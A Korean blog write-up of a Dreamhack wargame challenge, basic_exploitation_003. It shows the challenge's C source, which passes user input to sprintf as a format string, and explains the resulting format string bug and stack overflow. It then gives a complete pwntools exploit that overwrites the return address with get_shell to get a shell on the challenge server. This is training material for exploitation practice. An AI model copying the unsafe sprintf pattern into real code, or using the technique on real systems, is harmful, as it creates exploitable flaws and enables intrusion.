728x90
basic_exploitation_003
Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_003)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f
dreamhack.io
문제 분석
먼저 주어진 코드를 보면,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
|
cs |
heap_buf를 힙 영역에 0x80만큼 동적으로 할당해주고
heap_buf를 0x80바이트만큼 읽는다.
그리고 heap_buf에서 stack_buf로 출력을 해주고,
printf 함수를 통해 stack_buf를 읽어온다.
그런데 여기서 stack_buf를 읽을 때 포맷이 존재하지 않으므로 fsb를 야기시킬 수 있고,
사이즈를 입력받지 않으므로 bof도 야기시킬 수 있을 것으로 보인다.
그래서 %100c a를 입력해본 결과,
100칸의 공백 + a가 출력이 된 것을 볼 수 있다.
이를 통해 return address에 get_shell의 주소를 입력하면 될 것 같다.
Exploit
먼저 stack_buf가 할당된 공간을 알아와야하므로 gdb를 통해 main을 분석해보면,
epb - 0x98에 위치함을 알 수 있다.
그러므로 0x98 + 0x4 (ebp 영역)을 채워주어야 하기때문에
payload에 %156c를 보내주고, 이후 get_shell의 주소를 ret에 적어주면 된다.
전체 코드는 아래와 같다.
1
2
3
4
5
6
7
8
9
|
from pwn import *
p = remote("host3.dreamhack.games", 9599)
e = ELF("./basic_exploitation_003")
get_shell = e.symbols["get_shell"]
payload = b"%156c" + p32(get_shell)
p.sendline(payload)
p.interactive()
|
cs |
'Hacking > system' 카테고리의 다른 글
baby-bof (0) | 2024.01.20 |
---|---|
basic_exploitation_002 (0) | 2024.01.19 |
basic_exploitation_001 (0) | 2024.01.18 |